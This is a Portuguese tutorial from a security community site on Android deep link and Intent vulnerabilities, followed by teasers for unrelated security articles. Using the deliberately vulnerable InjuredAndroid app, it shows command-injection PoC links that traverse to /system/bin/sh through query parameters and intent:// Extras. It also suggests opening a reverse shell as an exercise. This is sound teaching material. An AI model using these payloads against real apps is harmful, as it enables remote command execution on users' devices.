Jump to content
  • Pequenas ligações, grandes vulnerabilidades: Uma breve introdução a deep links em Android

       (0 reviews)

    caioluders
     Share

    Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível.

    Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile.

    intent://

    Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação:

    Intent intent = new Intent();
    intent.setData(Uri.parse("flag13://rce"));
    startActivity(intent);

    Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante.

    <intent-filter>

    Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml.

    Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml

    <activity
        android:name=".RCEActivity"
        android:label="@string/title_activity_rce"
        android:theme="@style/AppTheme.NoActionBar">
        <intent-filter android:label="filter_view_flag11">
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
            <!-- Accepts URIs that begin with "flag13://” -->
            <data
                android:host="rce"
                android:scheme="flag13" />
        </intent-filter>
    </activity>

    O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW.

    O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE.

    A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas.


    flag13://rce

    Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️

    Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity:

    49 if (intent != null && intent.data != null) {
    50     copyAssets()
    51     val data = intent.data
    52     try {
    53         val intentParam = data!!.getQueryParameter("binary")
    54         val binaryParam = data.getQueryParameter("param")
    55         val combinedParam = data.getQueryParameter("combined")
    56         if (combinedParam != null) {
    57             childRef.addListenerForSingleValueEvent(object : ValueEventListener {
    58                 override fun onDataChange(dataSnapshot: DataSnapshot) {
    59                     val value = dataSnapshot.value as String?
    60                     if (combinedParam == value) {
    61                         FlagsOverview.flagThirteenButtonColor = true
    62                         val secure = SecureSharedPrefs()
    63                         secure.editBoolean(applicationContext, "flagThirteenButtonColor", true)
    64                         correctFlag()
    65                     } else {
    66                         Toast.makeText(this@RCEActivity, "Try again! :D",
    67                                 Toast.LENGTH_SHORT).show()
    68                     }
    69                 }
    70
    71                 override fun onCancelled(databaseError: DatabaseError) {
    72                     Log.e(TAG, "onCancelled", databaseError.toException())
    73                 }
    74             })
    75         }

    A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else:

    76 else {
    77
    78     val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam)
    79     val bufferedReader = BufferedReader(
    80             InputStreamReader(process.inputStream))
    81     val log = StringBuilder()
    82     bufferedReader.forEachLine {
    83         log.append(it)
    84     }
    85     process.waitFor()
    86     val tv = findViewById<TextView>(R.id.RCEView)
    87     tv.text = log.toString()
    88 }

    Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈

    Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos.

    Nossa PoC terá os seguintes passos :

    1. Alvo clica num link malicioso.
    2. Browser abre um Intent para b3nac.injuredandroid.RCEActivity.
    3. A Activity RCEActivity executa o comando do atacante.

    Nosso index.html ficaria assim:

    <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a>

    Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉

    S.Intent_Extras

    Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra.

    Intent intent = new Intent();
    intent.setData(Uri.parse("flag13://rce"));
    intent.putExtra("binary","../../../../../system/bin/sh -c 'id'");
    intent.putExtra("param","1");
    startActivity(intent);

    Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim :

    <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a>

    Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary.

    Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho:

    if      (uri.startsWith("S.", i)) b.putString(key, value);
    else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
    else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
    else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
    else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
    else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
    else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
    else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
    else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
    else throw new URISyntaxException(uri, "unknown EXTRA type", i);

    ;end

    Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor.

    Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês.

    Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa.

    |-|4ck th3 |>l4n3t 

    @caioluders


    Revisão: Fernando Mercês
    • Curtir 3
    • l33t 1
     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


  • Similar Content

    • By Bruna Chieco
      Os analistas de malware do Doctor Web descobriram aplicativos maliciosos no Google Play que roubam logins e senhas de usuários do Facebook. Esses cavalos de Troia (trojans) foram espalhados como softwares inofensivos e instalados mais de 5.856.010 vezes, dizem os pesquisadores.
      Os aplicativos maliciosos foram detectados com os nomes Android.PWS.Facebook.13, Android.PWS.Facebook.14, Android.PWS.Facebook.17 ou Android.PWS.Facebook.18, de acordo com a empresa. Todas são pequenas variações do mesmo código. No total, os especialistas descobriram 10 desses aplicativos de trojan, sendo que nove estavam disponíveis no Google Play. Veja abaixo quais são os apps:
      Software de edição de fotos Processing Photo. Ele é detectado pelo Dr.Web Anti-Virus como Android.PWS.Facebook.13 e foi espalhado pelo desenvolvedor chikumburahamilton, sendo instalado mais de 500 mil vezes; Aplicativos que permitiam limitações de acesso para usar outro software instalado em dispositivos Android: App Lock Keep do desenvolvedor Sheralaw Rence, App Lock Manager do desenvolvedor Implummet col e Lockit Master do desenvolvedor Enali mchicolo – todos detectados como Android.PWS.Facebook.13. Eles foram baixados pelo menos 50 mil, 10 e 5 mil vezes, respectivamente; Limpador de lixo do desenvolvedor SNT.rbcl – um utilitário para otimizar o desempenho do dispositivo Android. Ele foi baixado mais de 100 mil vezes. O Dr.Web o detecta como Android.PWS.Facebook.13.; Programas de astrologia Horoscope Daily do desenvolvedor HscopeDaily momo, e Horoscope Pi do desenvolvedor Talleyr Shauna, também detectados como Android.PWS.Facebook.13. O primeiro teve mais de 100 mil instalações, enquanto o último, mais de mil instalações; Programa de condicionamento físico chamado Inwell Fitness e detectado como Android.PWS.Facebook.14 do desenvolvedor Reuben Germaine. Possui mais de 100 mil instalações; Aplicativo de edição de imagens chamado PIP Photo foi divulgado pela desenvolvedora Lillians. Suas várias versões são detectadas como Android.PWS.Facebook.17 e Android.PWS.Facebook.18. Este aplicativo tem mais de 5 milhões de downloads. Após o relatório dos especialistas do Doctor Web ao Google, parte desses aplicativos maliciosos foi removida do Google Play.
    • By Bruna Chieco
      O Google está trabalhando para adicionar um modo Apenas HTTPS (HTTPS-Only) ao navegador Chrome para proteger o tráfego dos usuários de espionagem, atualizando todas as conexões para HTTPS. Segundo o Bleeping Computer, o novo recurso está sendo testado nas versões de pré-visualização do Chrome 93 Canary para Mac, Windows, Linux, Chrome OS e Android.
      Embora nenhum anúncio oficial tenha sido feito ainda, o modo HTTPS-Only provavelmente será lançado em 31 de agosto, diz o site. O Google já atualizou o Chrome para o padrão HTTPS em todos os URLs digitados na barra de endereço se o usuário não especificar nenhum protocolo.
      Para testar o recurso experimental, é preciso habilitar a sinalização "Configuração do modo somente HTTPS" acessando chrome://flags/#https-only-mode-setting. Uma vez ativada a opção "Sempre usar conexões seguras" às configurações de segurança do navegador, o Chrome vai atualizar automaticamente toda a navegação para HTTPS e exibir alertas antes de carregar sites que não o suportam.
      Ao atualizar todas as conexões de sites para HTTPS, o Google Chrome protegerá os usuários de ataques man-in-the-middle que tentam espionar dados trocados com servidores da Internet por meio do protocolo HTTP não criptografado. O HTTPS também garante que os invasores que tentam interceptar o tráfego da Web não alterem os dados trocados com sites da Internet sem serem detectados.
    • By Fernando Mercês
      Essa é uma história verídica: Tive o celular (um iPhone 7) furtado no último fim de semana e houve tentativas, afortunadamente sem sucesso, de hackear minhas contas. Nesse artigo vou explicar como me protegi, na esperança de que você se proteja também. Isso antes que tenha o celular roubado, furtado ou perdido. ?
      Após perceber que meu celular não estava no meu bolso comecei a dar valor a todas as ações de proteção que tomei. Consegui ligar para o Nubank, que cancelou o cartão (pois é, eu colei aquele lindo porta cartão roxo que eles mandam na traseira do celular e por isso foi tudo junto: celular e cartão de crédito). Por um momento pensei que para cancelar o cartão do Nubank eu precisaria do aplicativo do mesmo, mas eles possuem um número que podemos ligar. E você consegue cancelar seu cartão após confirmar alguns dados. Nota importante: você precisa estar sóbrio o suficiente para confirmar seus dados. Não entrarei em detalhes aqui como fiz.
      O telefone estava bloqueado com um código numérico de 6 dígitos (padrão nas últimas versões do iOS). E não era nada do tipo "000000" ou "123456". Dá um negócio escrever isso. Na verdade, gostaria de escrever que meu código era alfanumérico (que é mais seguro, em geral), mas não era. Mesmo assim, era "aleatório" o suficiente, creio eu, então confiei que o ladrão não conseguiria desbloquear o aparelho. Como todos os dedos de ambas as minhas mãos estavam no lugar, achei que o ladrão também não tinha minhas digitais para tentar o Touch ID. 😎
      Ao chegar em casa, fiz login no iCloud utilizando meu Apple ID para usar o Find My iPhone, que estava ativado. A última localização conhecida foi onde eu estava mesmo, ou seja, o danado desligou o telefone, removeu o chip ou fez alguma outra coisa para que este ficasse sem sinal.
      Também recebi o seguinte e-mail do Facebook:

      E-mail do Facebook para confirmação de alteração de senha
      Ou seja, o abençoado tentou resetar minha senha do Facebook. Como? Bom, o aplicativo do Facebook para iOS não pede senha ao abrir, então deduzi que o ladrão não tinha conseguido desbloquear o telefone. Cliquei no link "avise-nos" destacado no fim da mensagem, verificando que era do Facebook mesmo, só para bloquear novas tentativas.
      Daí vem minha primeira hipótese: o ladrão queria tomar minha conta do Facebook. Como no Facebook é possível logar via número de telefone, imagino que ele tenha removido o chip do telefone, posto em outro para ver o número e tentado resetar a senha pelo site do Facebook, bastando apenas para isso ter o meu número:

      Tela de recuperação de senha por número de telefone no Facebook (não é exigido nome de usuário)
      Não sei como pretendiam clicar no link que chega no meu e-mail. Talvez esperassem que a confirmação chegasse via SMS.
      Fiz um boletim de ocorrência no site da Polícia Civil e marquei a caixa que os autoriza a bloquear o IMEI do telefone, para que este se torne inútil. Pois é, eu tinha o IMEI e o número de série (ambos necessários para o bloqueio pela polícia) anotados. Também liguei para a operadora e pedir para bloquear o chip.
      O golpe comum no Brasil de colocar o chip em outro aparelho e começar a falar no WhatsApp com seus amigos e familiares pedindo dinheiro se passando por você também não rolou, pois minha conta do WhatsApp era protegida por um PIN, que é a autenticação de dois fatores do WhatsApp.
      Vamos às dicas para cada momento:
      Enquanto seu celular está com você:
      Anote marca, modelo, IMEI e número de série do seu aparelho em algum lugar. Também o PIN e PUK do chip (vem no cartão). Pode ser mandando um e-mail para você mesmo e deixando-o lá para sempre. Utilize um bom código alfanumérico (letras e números). Nada de padrões de desenho (em Android) ou códigos numéricos como "1234", "0000" ou afins. Jamais use um telefone sem código de bloqueio. Utilize autenticação de dois fatores em todas as suas contas de redes sociais e serviços de Internet (Facebook, Instagram, Gmail, etc), mas nunca por SMS, pois eles têm acesso ao chip quando obtêm seu telefone! Use sempre por aplicativo (recomendo o Authy porque você pode usar no desktop e no celular (e em outros dispositivos) - aí se perder o celular você ainda tem o app no desktop pra te dar os tokens). Imprima os códigos de recuperação do aplicativo de autenticação de dois fatores escolhido no passo acima e guarde em casa, porque com o celular você perde o aplicativo de autenticação de dois fatores junto! Habilite a autenticação de dois fatores (via PIN) no aplicativo do WhatsApp (Ajustes -> Conta -> Confirmação em duas etapas). Do contrário você pode ser vítima do golpe de falsidade ideológica que comentei no texto. Sempre habilite o Touch ID, reconhecimento facial ou senha para todos os aplicativos que suportam. Normalmente os de banco suportam. Para e-mails, sei que o Outlook suporta. Para notas, o Evernote suporta (o que o deixa mais seguro que o aplicativo de notas padrão do telefone). O WhatsApp também suporta. Dessa forma, mesmo que o gatuno roube seu telefone desbloqueado, não verá seu e-mail e não acessará os apps dos bancos. Habilite o PIN do chip (no iPhone esta configuração fica em Ajustes -> Celular -> PIN do SIM). Dessa forma, será solicitada uma senha quando o meliante colocar seu chip em outro aparelho. Lembrando que o chip já vem com um PIN da operadora, que você vai precisar para alterar. Os padrões são Vivo: 8486; TIM: 1010; Claro: 3636; Oi: 8888 mas o correto mesmo é ver no cartão do qual o chip é destacado quando vem. Todo cuidado é pouco aqui, pois é muito fácil bloquear o chip ao tentar desbloqueá-lo incorretamente 3 vezes. Aí só ligando pra operadora, ou usando o PUK para desbloquear. Desabilite a visualização de SMS na tela bloqueada (para que o conteúdo do SMS não seja mostrado). É uma boa ideia desabilitar quaisquer outras notificações também, ou pelo menos previnir que seu conteúdo seja exibido na tela bloqueada. Desabilite a Siri (iOS) na tela bloqueada (Ajustes -> Siri -> Permitir Quando Bloqueado). Do contrário, basta que alguém pergunte "Qual o meu nome?" para saber seu nome, telefone, empresa (dependendo do que constar no seu contato), como mostra a captura de tela abaixo:
      Siri entregando seus dados pra qualquer um
      Também é possível pedir à Siri para "Mostrar ligações perdidas". A ordinária vai mostrar a última ligação perdida somente, mas é possível inclusive retornar a ligação, mesmo com a tela bloqueada:

      Siri mostrando quem te ligou e permitindo retornar 
      As medidas acima você deve tomar agora que tem seu telefone com você, pois todo cuidado é pouco. Vale ressaltar que os ladrões de rua, os "mão leve" podem não ser especialistas em TI, mas certamente existe um "departamento de TI do crime" onde eles levam estes celulares roubados e lá pessoas que entendem do assunto tentam hackear suas contas.
      Se todas essas medidas forem tomadas, acho que você pode ficar tranquilo como eu fiquei. Pra ser honesto, eu não segui a recomendação de número 7, sobre o PIN do chip e só por isso conseguiram meu número pra tentar resetar a senha do Facebook. Mesmo assim não rolou, pois meu 2FA no Facebook era via app, não SMS (isso porque segui bem a recomendação de número 3) mas serviu pra ver onde vacilei.
      Depois de ser roubado/furtado ou perder o celular:
      Se você desconfia que perdeu o celular (não é roubo, nem furto), pode tentar localizar o aparelho, mas tenha em mente que quanto mais tempo você deixar o chip habilitado, mais tempo os bandidos têm para tentar as fraudes. Já aconteceu de eu perder o celular e só conseguir ligar pra ele dois dias depois, pois quem achou não tinha um carregador de iPhone à mão. Se eu tivesse bloqueado o aparelho ou o chip, não conseguiria ligar. Então aqui é sempre delicado. Depende do que rolou e o do nível de risco que você quer assumir (sinta em seu coração), mas:
      Ligue para a sua operadora e informe o ocorrido. Eles vão bloquear o chip. Cancele seus cartões de crédito (há casos em que ladrões utilizaram Apple Pay e similares para fazer compras ou mesmo pediram comida em apps como iFood e Uber Eats). Faça um boletim de ocorrência na delegacia mais próxima ou pela Internet. Você vai precisar dos dados lá do passo 1 do que fazer enquanto seu celular está com você. Desconecte o dispositivo das suas contas de e-mail, redes sociais e outros serviços (é impossível enumerar todos, mas serviços comuns são Gmail, Facebook, Instagram, Twitter, Spotify, etc). Programe a deleção dos dados pelo site do fabricante (Google, Apple, etc). No novo telefone:
      Se não teve jeito e você comprou um telefone novo, tudo bem. Vida nova. Só fica esperto porque se você fizer mantiver o mesmo número, os criminosos podem tentar entrar em contato via ligação, SMS, WhatsApp, iMessage, etc se passando pela fabricante do telefone, dizendo que o acharam e pedindo as credenciais do iCloud, por exemplo. Com elas, é possível desbloquear o telefone roubado. Não caia nessa. 😉
      Roubo, perda e furto de telefones são muito comuns em grandes cidades. É importante que você seja precavido. Quem tiver outras dicas, só postar nos comentários que incorporo aqui. Se quiser me contar como fazer pra Android as configurações acima, comenta aí também. Ah, depois de fazer tudo isso no seu telefone, seja um bom amigo e compartilhe este artigo com todo mundo que tem um smartphone pelo bem da nação. 🙏
      Atualização em 16/1/2020 - Recomendei o Evernote para notas, pois tem suporte à autenticação quando o aplicativo é aberto. Também mencionei que é possível configurar isso no WhatsApp.
      Atualização em 16/5/2019 - Adicionei uma captura de tela da Siri entregando quem te ligou e recomendei o Authy expressamente, pois parece ser realmente melhor que Duo Mobile e Google Authenticator, já que pode ser utilizado em vários dispositivos (incluindo no desktop) e possui suporte ao Touch ID.
       
    • By Julliana Bauer
      Nos últimos meses, dividimos algumas dicas para quem tem curiosidade acerca das possibilidades de carreiras em Segurança de Aplicações. Afinal, seja para uma transição de carreira, ou mesmo para quem está ingressando agora no mercado de trabalho, ela é apontada como uma das áreas mais promissoras para os próximos anos.
      Desta vez, para mostrar como é a rotina e quais são os desafios de um jovem profissional que está desbravando uma das muitas possibilidades de carreiras dentro de Segurança de Aplicações, resolvemos conversar diretamente com alguém que acabou de ingressar neste universo.
      Nosso bate-papo de hoje é com o Antony Leite, de 17 anos, que há cinco meses é estagiário no time Pentest as a Service (PTaaS) da Conviso, e que, no momento, está estudando para aprimorar suas skills técnicas em relação a Pentest Web e Pentest Mobile.  Foi a partir de uma conversa com um professor e com a ajuda de uma comunidade online que ele passou a ter interesse em uma carreira na área e acabou encontrando esta oportunidade na Conviso.
      Ele nos conta um pouco sobre como é a sua rotina enquanto um profissional que está começando nesta área, quais foram suas primeiras impressões e o que mais o surpreendeu em relação ao dia a dia de uma empresa de AppSec. Confira!
      Antony, antes de entrar na Conviso, qual era o seu conhecimento sobre Segurança de Aplicações? Já ouvia falar a respeito da área nos cursos que frequenta?
      Antes de entrar na Conviso eu estava terminando o curso Pentest Profissional e o Pentest Experience da DESEC (já terminei ele e só estou esperando a minha DCPT - Desec Certified Penetration Tester chegar). Eu fiquei sabendo da Conviso por conta do seu produto - o AppSec Flow -  em um dos bate papos na Boitatech.
      Antes de trabalhar na Conviso, você considerava uma carreira em AppSec? Ou aconteceu “por acaso”?
      Sim. O meu interesse pela a área de AppSec surgiu no início da pandemia e isso se deve a dois fatores. O primeiro é o meu professor Jocenio, que ministrava a matéria de Sistema de Comunicação, ao qual tive o prazer de ter alguns bate-papos sobre as possibilidades de trabalho nessa área. Naquele momento eu percebi que existia um mundo de possibilidades. O segundo fator foi a comunidade Boitatech, eles foram responsáveis pelo meu engajamento inicial na área, meu desenvolvimento em relação às skills técnicas e metodologias de estudo, durante esse tempo sempre estive presente nela, conheci pessoas incríveis que sempre me ajudaram.
      O que mais te surpreendeu a respeito da rotina de um profissional de AppSec?
      As possibilidades de trabalho. Antes de entrar na área eu tinha uma visão muito pequena de como funciona toda a operação de AppSec, achava que tinha poucas possibilidades, mas não - existem várias!

      "A parte mais gratificante acho que é o autodesenvolvimento, a sensação de sempre estar evoluindo, aprendendo algo novo, principalmente na Conviso, onde um dos valores é crescer 1% por dia"
       
      Como é a sua rotina de trabalho?
      A minha rotina de trabalho na Conviso inicia na segunda-feira, com uma reunião semanal, onde são separadas as análises que serão executadas durante a semana e quem será o responsável por cada uma. Normalmente eu fico acompanhando um analista em um projeto. No final da semana, na sexta-feira, acontece a reunião de Review, onde cada membro do time mostra o que ele realizou durante aquela semana, se enfrentaram alguma dificuldade na realização do projeto ou algo do tipo.
      Depois de 15 dias temos uma reunião de retrospectiva, onde apontamos pontos positivos, pontos que devem ser melhorados e ações para que o time possa melhorar - é uma dinâmica muito legal e produtiva. A cada 30 dias temos ainda a reunião One-a-One que acontece entre você e o seu líder, onde você levará pontos que possam ser melhorados no seu dia a dia, planos para o seu PDI - Plano de Desenvolvimento Pessoal, ou qualquer assunto que caiba a você e ao seu líder. Depois de algum tempo no estágio, acompanhando os analistas, você irá escolher um tema para fazer um blog post, onde a Conviso irá divulgar em seu blog.
      Para você, qual a parte mais gratificante de trabalhar nesta área? E qual a mais desafiadora?
      A parte mais gratificante acho que é o autodesenvolvimento, a sensação de sempre estar evoluindo, aprendendo algo novo, principalmente na Conviso, onde um dos valores é crescer 1% por dia. A parte mais desafiadora é quando encontramos a fronteira do nosso conhecimento. Na minha área, isso ocorre quando estamos analisando uma aplicação e encontramos novas tecnologias do mercado ou tecnologias implementadas de forma mais robusta, o que acaba nos levando a ter que estudar esse assunto mais a fundo, levando em conta as especificidades do sistema do cliente. Posso garantir que é bem desafiante, mas, por outro lado, é muito gratificante quando avançamos nessa fronteira do conhecimento.
      Você pretende seguir carreira em AppSec depois de formado? Se sim, qual direcionamento pretende tomar dentro da área?
      Sim, pretendo seguir na carreira de AppSec com foco na parte ofensiva.
      Que dicas você daria para alguém que tem interesse em ingressar na área de AppSec?
      Frequentar comunidades voltadas para essa área, participar de eventos e buscar se manter sempre atualizado sobre as novas tecnologias e tendências é um ótimo início, como também participar de CTFs, visto que temos ótimas plataformas como o TryHackMe, HackTheBox, PicoCTF. Porém, ressalto que estudar, buscar cursos e certificações voltadas para essa área é muito recomendável, pois são os momentos que você consegue dar alguns saltos de conhecimento. Além disso, junto aos cursos, buscar sempre praticar, testar a teoria e experimentar novas abordagens são também iniciativas que sempre garantem muito aprendizado e um amadurecimento/evolução na área de AppSec.
      Segurança de Aplicações - possibilidades de carreira vão muito além do Pentest
      Se assim como o Antony você tem interesse em uma carreira em Segurança de Aplicações, a Conviso tem vagas para variados perfis - desde estagiários a profissionais sênior - e em diversas áreas da empresa. 
      No caso do Antony, ele gostou tanto da experiência no time de Pentest as a Service (PTaaS), que pretende seguir na carreira de AppSec com foco na parte ofensiva. Mas vale lembrar que existem muitas outras áreas em que um profissional pode atuar quando falamos sobre AppSec.
      Na Conviso, por exemplo, um Analista de Segurança da Informação tem uma série de possibilidades. Este profissional pode trabalhar tanto na área de Consulting -  atuando em projetos que têm como objetivo entregar processos, programas e atividades que tenham como foco em AppSec; como pode também atuar no time de Managed Security Services - MSS, como o responsável por diversas etapas do ciclo de desenvolvimento seguro, análise de requisitos, modelagem de ameaças, revisão de código e recomendações de melhores práticas de segurança; e pode ainda também atuar na área de PTaaS, testando aplicações nos mais variados contextos possíveis, subvertendo software e construindo soluções criativas.
      E vale lembrar que até aqui abordamos apenas algumas das atividades relacionadas aos analistas que atuam nos times de Professional Services. Profissionais como um Desenvolvedor, que se dedica ao desenvolvimento de software, ou mesmo um Account Executive, que atua no time de Sales e tem contato direto com os clientes, também são imprescindíveis para que uma empresa de AppSec funcione e prospere!
      Se você tem interesse em saber mais sobre a rotina de outros profissionais que fazem uma empresa de Segurança de Aplicações acontecer - como Desenvolvedores Ruby on Rails, bem como time de Sales, Marketing e People Hacking, sinalize nos comentários, e certamente traremos este conteúdo em um próximo texto. Até lá, não deixe de conhecer as vagas abertas na Conviso. 😉

    • By Bruna Chieco
      Uma violação de uma pasta da Sony contendo números de identificação de série para cada console PlayStation 3 pode ter banido usuários da plataforma inexplicavelmente. Segundo o ThreatPost, a Sony supostamente deixou uma pasta sem segurança com cada ID de console PS3 online, que foi descoberta e relatada por um YouTuber espanhol em meados de abril. 
      Várias semanas se passaram, e agora os jogadores nos fóruns da PlayStation Network estão reclamando que não conseguem fazer login e estão recebendo a mensagem de erro 8071006. O ThreatPost diz que aparentemente atacantes começaram a usar os IDs roubados do console PS3 para fins maliciosos, fazendo com que os jogadores legítimos fossem banidos. 
      A Sony não respondeu ao pedido do ThreatPost para comentar ou confirmar se há uma relação entre a violação de ID do PS3 e os relatos de jogadores terem sido bloqueados da plataforma. Ainda assim, pesquisadores ressaltaram ao site de notícias a importância de todas as empresas terem controles de segurança mais robustos em tempo real, já que esse pode ser considerado um exemplo da falta de proteções de segurança adequadas e falta de visibilidade da própria empresa sobre seus dados confidenciais em tempo real.
×
×
  • Create New...